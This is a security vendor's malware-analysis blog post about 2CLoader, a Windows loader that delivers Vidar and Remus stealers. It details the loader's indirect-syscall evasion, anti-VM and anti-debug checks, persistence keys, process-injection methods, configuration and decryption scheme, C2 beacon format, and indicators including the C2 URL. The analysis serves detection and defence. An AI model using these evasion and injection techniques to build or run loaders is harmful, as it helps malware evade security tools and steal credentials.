Zscalerのブログ

Zscalerの最新ブログ情報を受信

Security Research

2CLoader: A New Malware Loader Delivering Vidar and Remus

image
MUHAMMED IRFAN V A
September 30, 2026 - 18 min read

Introduction

In August 2026, Zscaler ThreatLabz identified a new loader, which we track as 2CLoader. ThreatLabz has observed the loader being used to distribute information stealers including Vidar and Remus in addition to XWorm RAT. 2CLoader has the ability to perform a wide range of anti-analysis and evasion techniques, including indirect system calls, anti-analysis checks, and installing Windows API hooks. 

In this blog post, ThreatLabz provides a technical deep dive into 2CLoader, covering its core features, evasion techniques, loader configuration, network communication, payload decryption, and execution options.

Key Takeaways

  • In August 2026, ThreatLabz identified a new loader tracked as 2CLoader.
  • 2CLoader implements multiple anti-analysis techniques, including anti-VM, anti-debug, and user activity checks.
  • 2CLoader employs several evasion techniques to hinder detection by endpoint security tools, including indirect system calls and inline trampoline hooks.
  • 2CLoader supports multiple payload execution and persistence mechanisms, depending on its configuration. 
  • Based on observed delivery trends, 2CLoader has primarily been used to deliver Vidar and Remus.

Technical Analysis

The following sections analyze 2CLoader’s core features and cover malware delivery trends associated with the loader.

String encryption

Important strings in 2CLoader are decrypted at runtime using an inlined bitwise XOR operation applied to global values. The key in the analyzed sample is 0x37.

Indirect system calls

For the Nt* APIs listed below, 2CLoader prefers indirect system calls to evade inline API hooks commonly used by security software for detection.

  • NtProtectVirtualMemory 
  • NtUnmapViewOfSection 
  • NtQueryInformationProcess 
  • NtDelayExecution 
  • NtSetContextThread 
  • NtGetContextThread

2CLoader uses the Hell’s Gate technique to perform indirect system calls. The loader maps a fresh copy of ntdll from disk, retrieves the export addresses of the APIs listed above, and checks whether each stub begins with one of the following two patterns.

4C 8B D1    mov r10, rcx
B8 xx xx xx xx  mov eax, ssn

or

F3 0F 1E FA    endbr64          # CET-prefixed variant
4C 8B D1       mov r10, rcx
B8 xx xx xx xx mov eax, ssn

If the stub matches one of these patterns, 2CLoader extracts and stores the 4-byte syscall ID. The loader also walks the Process Environment Block (PEB) to obtain the in-memory module base of ntdll.dll and scans executable sections for the syscall gadget (0F 05 C3 which maps to syscall, ret). 2CLoader stores the six syscall gadget addresses in global variables for later use when performing indirect system calls.

If indirect system call initialization fails, a fallback mechanism resolves the six APIs listed above using GetProcAddress and stores the resulting export addresses in global variables.

Loader configuration

2CLoader stores its configuration and encrypted payload as a Portable Executable (PE) resource. The resource has the following structure:

[final payload] [optional payload dropped] [optional message shown using MessageBoxW] [configuration]

The configuration occupies the last 0xDC bytes of the resource and begins with the 4-byte magic value 2C 3D 4E 5F. The configuration uses the following structure:

 struct 2cloader_config
 
{

uint32_t magic; // Magic bytes 2C 3D 4E 5F.

uint32_t fl; // Payload execution options, explained in later sections. Sent in the registration message.

uint32_t payload_size_before_decompression; // Final payload size before decompression.

uint32_t aes_gcm_nonce_size; // AES-GCM nonce length used for final payload decryption.

uint32_t aes_gcm_tag_size; // AES-GCM tag length used for final payload decryption.

uint8_t aes_gcm_nonce[0xC]; // AES-GCM nonce for the final encrypted payload.

uint8_t aes_gcm_tag[0x10]; // AES-GCM authentication tag for the final encrypted payload.

uint8_t sha256_seed_xor2[0x10]; // Bitwise XOR applied to bytes 0x00-0x0F of the 32-byte AES key seed.

uint8_t sha256_seed_xor1[0x10]; // Bitwise XOR applied to bytes 0x10-0x1F of the 32-byte AES key seed.

uint32_t sum_of_bytes_checksum; // Byte-sum checksum used to validate the derived AES-256 key.

uint32_t persistence_option; // Persistence options, explained in later sections.

uint32_t opt_flag; // Customizable options flag (anti-VM, anti-debug, etc.). Explained in later sections.

uint32_t optional_payload_dropped_size; // Size of the additional payload to be dropped.

uint32_t messageboxw_message_size; // Size of the appended MessageBox caption/text block.

uint8_t xor_add_after_rolling_xor; // Per-byte increment used in the second XOR stage.

uint8_t xor_key_after_rolling_xor; // Initial constant used in the second XOR stage.

uint8_t rolling_xor_seed; // Seed for the first rolling XOR layer.

uint8_t unk_67; // Not used anywhere; set to zero.

uint32_t sleeptime; // Malware sleep time in milliseconds (ms) before payload decryption.

uint8_t ID[0x10]; // ID used in the start message.

char target_executable_name_used_in_injection[0x40]; // Target executable names used for injection.

uint32_t bt; // Sent in the registration message with the key name bt. Not used elsewhere.

char pn[0x10]; // Sent in the registration message with key name pn. Contains a file name such as default.exe or build_tbuild.exe. Not used elsewhere.

uint32_t unk_D0; // Not used anywhere; set to zero.

uint32_t scheduled_tasks_trigger_interval_hours; // Scheduled task trigger interval in hours.

uint32_t decompressed_buffersize_of_payload; // Final payload size after decompression.

};


Payload decryption

2CLoader first decrypts the resource body (excluding the last 0xDC bytes) using a rolling XOR driven by the rolling_xor_seed from the configuration. Each byte is XOR’ed with a value that starts with the rolling_xor_seed and is incremented by one for each subsequent byte. After that, the loader applies a second XOR layer using the xor_key_after_rolling_xor (from the configuration) as the initial value and xor_add_after_rolling_xor as the per-byte increment. This produces the AES-GCM ciphertext that the loader uses in the next stage.

2CLoader then derives the AES key from its own image. The loader calculates the SHA256 of the first executable section in memory, usually .text, and uses that 32-byte digest as the base key material. The first half of that digest is XOR’ed with the sha256_seed_xor2 field and the second half is XOR’ed with sha256_seed_xor1. The resulting 32-byte buffer is the AES key, which is validated using sum_of_bytes_checksum. If the checksum matches, the loader uses aes_gcm_nonce and aes_gcm_tag to perform AES-GCM decryption of the transformed resource body.

In the final step, 2CLoader treats the AES plaintext as three concatenated parts. The first part is the final payload, the second part is an optional dropped payload of size optional_payload_dropped_size, and the third part is an optional MessageBoxW block of size messageboxw_message_size. Only the first payload is decompressed, and only when decompressed_buffersize_of_payload is nonzero. Decompression uses Xpress Huffman and expands the first part from payload_size_before_decompression to decompressed_buffersize_of_payload, while the second and third parts are left unchanged. The payload decryption script is available in the ThreatLabz GitHub repository.

ANALYST NOTE: If the 0x1 flag in opt_flag is enabled, 2CLoader also performs a timing-based check after calculating the SHA256 digest. It runs an arithmetic operation in a loop 3,000,000 times. If this loop completes in fewer than 2,000,000 CPU cycles, all 32 bytes of the SHA256 digest are XOR’ed with 0xFF. This is intended to mislead emulators by producing an incorrect key seed.

Custom options flag (opt_flag)

The opt_flag configuration value controls which custom options 2CLoader enables. Multiple options can be combined using a bitwise OR operation. The supported values and their behavior are listed in the table below.

Value

Functionality

0x1

Anti-VM check (described in the next section).

0x10

Anti-debug check. 2CLoader uses three methods to check whether it is being debugged: 

  • The IsDebuggerPresent API.
  • The CheckRemoteDebuggerPresent API.
  • A timing-based check that measures how long a loop of 1000 integer operations takes to execute. If the loop takes more than 200 ms, the malware assumes it is being debugged. If a debugger is detected, the payload is not decrypted.

0x20

During payload execution, prioritize RunPE over LoadPE. Both methods are explained in later sections.

0x40

User activity check. 2CLoader captures the current cursor position, then loops up to 50 times, sleeping for 100 ms in each iteration. On each iteration, it checks whether the cursor has moved from the original position or whether the left mouse button or Enter key is pressed. The payload is decrypted even if there is no user activity, but the loop is only exited if there is user activity or five seconds have passed.

0x80

While creating the optional payload process, 2CLoader spoofs the parent process as explorer.exe and enables SeDebugPrivilege for the optional payload process.

0x100

2CLoader creates a temporary file whose name is derived from the configuration’s ID field, using the pattern %TEMP%\\aw_[ID-as-hex].lk. The file is opened with share mode 0. Because the handle remains open and the file is created with FILE_FLAG_DELETE_ON_CLOSE, it acts as a temporary lock. If another malware instance with the same ID is already running, the new instance exits immediately.

0x400

2CLoader places inline trampoline hooks in Windows APIs, described in a later section.

Table 1: Supported opt_flag values and their functions in 2CLoader.

Anti-VM detection

The anti-VM logic uses two decision models. The first is a hard-fail path, in which a single condition is enough to classify the victim machine as a VM. The second is a score-based path, in which 2CLoader builds a score from multiple checks. If any hard-fail check triggers or the final score is below 8, the loader exits before decrypting the payload.

  • Hard-fail checks: 2CLoader first performs a CPUID-based (EAX = 1) virtualization check. If the hypervisor bit is not set, this check passes immediately. If the hypervisor bit is set, the malware queries the hypervisor vendor with CPUID EAX=0x40000000. VMware, VirtualBox, KVM, Xen, Parallels, and QEMU TCG are blocklisted; Microsoft Hyper-V is explicitly allowed. The malware also checks loaded modules, running process names, VM-related MAC address prefixes, and registry keys associated with VirtualBox, VMware, and Wine against a blocklist. For registry keys, it checks whether a key exists and contains subkeys or values. If any of these checks match, the anti-VM check fails. A timing check also causes failure if the anti-VM checks take more than 200 ms.
  • Score-based checks: If 2CLoader passes the hard-fail stage, it proceeds to a score-based environment check. The base score is 5. The malware adds one point for each of the following conditions:
    • The current process count is above 25. 
    • The logical processor count is at least 2. 
    • Total physical memory is at least 2 GB. 
    • Total disk size is at least 40 GB. 
    • System uptime is greater than 3 minutes. 
    • ProcessDebugPort is 0. 
    • %APPDATA%\Microsoft\Windows\Recent\* contains at least 2 files. 
    • Screen resolution is larger than 800 x 600.
    • The current username does not match the blocklist. 
    • The computer name does not match the blocklist. 
    • The cursor position changes within 500 ms.

2CLoader continues checking even if the score has reached 8. A final score of 8 or higher causes 2CLoader to treat the system as a physical machine.

The complete blocklist is available in the ThreatLabz GitHub repository.

Persistence

Persistence for 2CLoader is controlled by the persistence_option field in the configuration. The loader can enable multiple persistence methods simultaneously by combining the flags using a bitwise OR operation. In all cases, the persistence entry points to the current malware file path. The supported values and their corresponding persistence methods are listed in the table below.

Value

Persistence Method

0x1

Uses HKCU\Software\Microsoft\Windows\CurrentVersion\Run for persistence under the value name SecurityHealthService.exe.

0x2

Copies the malware to the Startup folder.

0x4

Creates a scheduled task using an XML file with a LogonTrigger for the current user and the task name SecurityHealthService.exe.

0x8

Uses HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce for persistence under the value name SecurityHealthService.exe.

0x10

Uses the Load value under HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows.

0x20

Uses the UserInitMprLogonScript value under HKCU\Environment.

Table 2: Supported persistence_option values and their corresponding persistence methods in 2CLoader.

Inline trampoline hooks

After payload decryption, if the 0x400 flag in opt_flag is enabled, 2CLoader sets inline trampoline hooks on a set of Windows API functions in the current process. In the analyzed sample, there are around 20 such hooks, but only a few important ones are discussed here. The common pattern is that the original API entry point is patched to redirect execution through a malware-controlled trampoline, allowing the loader to modify the returned data.

These hooks perform two functions: network data tampering where API return buffers are scanned and modified, and environment spoofing, where values related to host identity, such as username, computer name, volume serial number, registry data, or environment variables, are replaced with random, but properly formatted values. The replacement data is crafted to preserve the expected structure of the original value. The table below shows the hooked APIs and their behavior.

Hooked API

Hook behavior

InternetReadFile / WinHttpReadData

Scans the received data for IPv4 addresses and replaces the last two octets with random but valid decimal values.

RegQueryValueExA / RegQueryValueExW

If the queried value name matches one of the targeted values, replaces the returned data with similarly formatted spoofed data. For example, the data returned by an API call querying BaseBoardManufacturer is replaced with one of the strings (ASUSTeK INC., American Megatrends, Dell Inc., MSI, ASRock, Gigabyte) chosen at random. Likewise, for an API call querying MachineGuid, the data is replaced with a random string that follows the GUID format.

GetUserNameA / GetUserNameW

Replaces the username with a random username from the list (admin, user, gamer, john, alex, player).

GetVolumeInformationA / GetVolumeInformationW

Replaces the volume serial number with a random serial number.

GetComputerNameA / GetComputerNameW/
GetComputerNameExA / GetComputerNameExW

Replaces the computer name with a random name starting with DESKTOP-.

GetEnvironmentVariableA / GetEnvironmentVariableW

If the queried environment variable’s name matches a targeted name, replaces the returned value with similarly formatted spoofed data. For example, if the queried variable is USERNAME, the username is replaced with one of the strings (admin, user, gamer, john, alex, player) chosen at random.

Table 3: Windows APIs hooked by 2CLoader and the behavior of their hooks.

The goal of environment spoofing is to provide fake system information about the victim’s system while still matching the format expected by the API call. The exact intention behind these hooks is not clear, but may they may have been designed to confuse malware sandboxes.

Payload execution options

The opt_flag and fl fields control how 2CLoader executes the payload. Each field can contain multiple values combined with a bitwise OR operation. Before executing the final payload, 2CLoader processes two optional blobs appended after the final payload in the decrypted buffer. The first optional blob is treated as an additional PE file. If present, the loader writes it to a temporary .exe file, launches it, and if execution succeeds, schedules it for deletion on reboot. If the 0x80 flag in opt_flag is set, the loader spoofs explorer.exe as the parent process (parent process ID, or PPID, spoofing) and enables SeDebugPrivilege for the new process. The second optional blob contains the caption followed by the message text, separated by a null terminator. If neither of the bits in the 0x6 mask is set in fl and the 0x20 flag in opt_flag is not set, the loader displays the message box in the current thread before continuing. Otherwise, it copies the message block to heap memory and displays it from a helper thread so execution can continue asynchronously.

If the 0x2 flag in fl is set, the payload is treated as a managed .NET assembly and executed directly from memory via Common Language Runtime (CLR) hosting. In this mode, the loader loads mscoree.dll, initializes the CLR, creates a SAFEARRAY from the payload bytes, loads the assembly from memory, and invokes its entry point. If the 0x2 flag in fl is not set but the 0x4 flag is set, the loader forces the RunPE path. The figure below shows how the loader selects the execution method based on fl.

Pseudocode of the 2CLoader execution method based on fl.

Figure 1: Pseudocode of the 2CLoader execution method based on fl.

When neither the 0x2 nor the 0x4 flag in fl is set, 2CLoader enters the next branch. Here, the loader switches between LoadPE and RunPE based on the 0x20 flag in opt_flag. When this flag is not set, it tries LoadPE first and falls back to RunPE if that fails. When the flag is set, it tries RunPE first and falls back to LoadPE if needed. The LoadPE path is an in-process manual PE loader that maps the payload into the current process, fixes relocations and imports, updates PEB->ImageBaseAddress to the base address of the mapped payload, spoofs the command line to svchost.exe, and starts the payload in a new thread.

The RunPE path creates a suspended process, using the target image specified in the configuration field target_executable_name_used_in_injection that defaults to dllhost.exe. The loader first creates a temporary file, immediately marks it as DeletePending via NtSetInformationFile(FileDispositionInformation), and writes the payload to this file. The file handle is then passed to NtCreateSection with the SEC_IMAGE allocation attribute, creating an image section from the payload. That SEC_IMAGE section is mapped into the suspended target process, the remote PEB->ImageBaseAddress is updated to the base address of the newly mapped section, the suspended primary thread is redirected to the payload entry point, and execution is resumed.

The RunPE path supports both x64 and x86 payloads. For x64 payloads, if the 0x400 flag in opt_flag is set, the loader performs an additional step before the payload entry point is reached. In this mode, hooks are placed inside the remote process on WinHttpReadData and InternetReadFile. The purpose of these hooks is to scan received data for IPv4 addresses and replace the last two octets with random but valid decimal values while preserving the IPv4 format.

Network communication

2CLoader uses HTTP for command-and-control (C2) communication. The C2 URL is encrypted using the same string encryption scheme. Outbound messages are formatted as JSON and then XOR-encrypted before being sent in the body of an HTTP POST request. The XOR key used for network encryption is 4A 7B 3C 1D 8E 5F A0 D1 62 93 24 F5 B6 47 C8 09 E1 72 53 84 35 A6 D7 18 49 FA 0B 6C 9D 2E BF 50.

The first message sent to the C2 server is a registration message. Its keys are listed below:

Key

Description

id

ID field from the configuration, sent as 32 hexadecimal characters.

s

Event name, set to start during registration.

ok

Success flag, set to 0 or 1 based on the event status. Set to 1 during registration. 

t

Malware elapsed time, set to 0 during registration.

os

OS version retrieved using RtlGetVersion, formatted as [major, minor, build].

pid

Current malware process ID.

adm

Indicates whether the current token is elevated. Set to 1 if elevated; otherwise, 0.

fl

The fl field from the configuration, containing the payload execution options.

opt

The opt_flag field from the configuration.

cpu

Logical processor count.

arch

Processor architecture.

dll

Indicates whether the malware is running as a DLL. Set to 1 if yes; otherwise, 0.

ram

Total physical memory in MB.

lc

Locale retrieved using GetUserDefaultLocaleName.

bt

The bt field from the configuration.

pn

The pn field from the configuration.

path

Current malware path.

Table 4: JSON keys used in 2CLoader’s registration message.

Below is an example 2CLoader network communication for a registration message.

POST /api/beacon HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Length: 252
Host: aware-cr1.com

An example POST body (after XOR decryption) is shown below:

{"id":"18c070b8d032336a244440df1115123d","s":"start","ok":1,"t":0,"os":[10,0,19044],"pid":1408,"adm":0,"fl":0,"opt":1152,"cpu":4,"arch":9,"dll":0,"ram":4195,"lc":"en-US","bt":1787666555,"pn":"default.exe","path":"C:/Users/Bruno/Desktop/executable.exe"}

After registration, 2CLoader sends additional event messages to report execution status. These messages are also constructed as JSON and then encrypted using the same XOR-based scheme. The event format is as follows:

{
 "id":[32 hexadecimal characters from ID],
 "s":[event name],
 "ok":[0 or 1],
 "t":[Total malware elapsed time in ms],
 "x":[additional argument for the event],
 "ec":[error code from GetLastError()],
 "pid":[malware process ID]
}


Malware delivery

ThreatLabz identified a number of 2CLoader samples to identify which malware families were being distributed by the loader. ThreatLabz found 2CLoader used to primarily deliver information stealers including Vidar and Remus. The pie chart below illustrates the distribution of the malware families distributed via 2CLoader.

Distribution of malware families delivered by 2CLoader in samples identified by ThreatLabz.

Figure 2: Distribution of malware families delivered by 2CLoader in samples identified by ThreatLabz.

ThreatLabz has developed a Python script to decrypt 2CLoader payloads. The script is available in ThreatLabz GitHub repository.

Conclusion

ThreatLabz has identified a new malware family that we track as 2CLoader. This highly customizable loader has a rich feature set and supports multiple payload execution methods based on its configuration along with numerous anti-analysis checks. 2CLoader has been used to distribute Vidar and Remus, which are used to steal credentials that can be used for subsequent attacks. Therefore, organizations should ensure proper security tooling is implemented to detect and prevent these attacks.

Zscaler Coverage

Zscaler’s multilayered cloud security platform detects indicators related to 2CLoader at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for 2CLoader.

Zscaler Cloud Sandbox report for 2CLoader.

Figure 3: Zscaler Cloud Sandbox report for 2CLoader.

In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the campaign at various levels with the following threat name:

Indicators Of Compromise (IOCs)

Host indicators

SHA256 2CLoader samples

5edcaa75a28e5cd700bf7643b275fe5d28649aa41a0711f391ec1fca795a4e8a

0017821181723261801e24abb9d33c739f382889d46dbf46d320c87ac62e5ca6

06185d74edbdc06f99095e96f74aa2e49a1cda2d02a294c11a9ac35a0231075e

066d83b98a2081e0bb075c94376aebc9b0fd6499025cab1762d83bbb4d7576c6

0a2ef2c360cf6e3e3e5d844ca03fecc31924ba0e8c3ecd8aefa778cae10fb19e

0d2abd7d872196abd951f1d7ed6406486499e5d5acc04f28fcd4f45b1851711e

0e4d6c385922938ecc1962dbc7e5950b086459b172b70a945414cffe4395aa27

0ee6df8a309443c86c0bba8b376f39531513d3451b46bebd4b79bb9d5bf8dcb1

1337ed6fe9c6205b569670a40eab42b51ba69c5c1724d61474e8595acd90ecfb

1447ed0893b9095f671e2f35a2a0127890040b5459534813b0f83c3e1fffa0bf

1b195181a2603b0b2608d49134af8c170225c2e06873c1fe5cd537db9018807f

246717653bc2ae2e09036bac56c9d79940c652972a73f4c6aa9b925c28cce095

2ad9b5e1c9952e95cfa55a4255e952962b6208ae1ca610caf1c7c2383be7e74b

2c786f7009cc5e1fba5471a88b23b34dce6e1578ee9f664ec62bf48227ba384b

2d43d592630ad1e012da63ef7279f95dd4a8e94964e12ca2f996051875574fa6

30cf47caf9700a74a8ea4a728b8b7c88cb1f8e22261b4ac01575b112c1e224ca

3286ff477ccd888479b96d0ffb2bd53962862db7267a4bd1c8d8f8c22fec63d4

331fd58d489e9fb888a5e4193d0e36f6ff29063808c59a164d98e26835054972

45d46e7064ba4b4cb578659f73ee354ad26cf2cc1e7f59bd3d15028e1e46a38b

4c16f5ebd5c633b7a793ffa2cd96daddc5a503d82ed4fbe636109d89164ec02b


Network indicators

URL

Description

https://aware-cr1[.]com/api/beacon

2CLoader C2

http://62.60.226[.]185/t0907.exe

2CLoader ITW URL

form submtited
お読みいただきありがとうございました

このブログは役に立ちましたか?

免責事項:このブログは、Zscalerが情報提供のみを目的として作成したものであり、「現状のまま」提供されています。記載された内容の正確性、完全性、信頼性については一切保証されません。Zscalerは、ブログ内の情報の誤りや欠如、またはその情報に基づいて行われるいかなる行為に関して一切の責任を負いません。また、ブログ内でリンクされているサードパーティーのWebサイトおよびリソースは、利便性のみを目的として提供されており、その内容や運用についても一切の責任を負いません。すべての内容は予告なく変更される場合があります。このブログにアクセスすることで、これらの条件に同意し、情報の確認および使用は自己責任で行うことを理解したものとみなされます。

Zscalerの最新ブログ情報を受信

このフォームを送信することで、Zscalerのプライバシー ポリシーに同意したものとみなされます。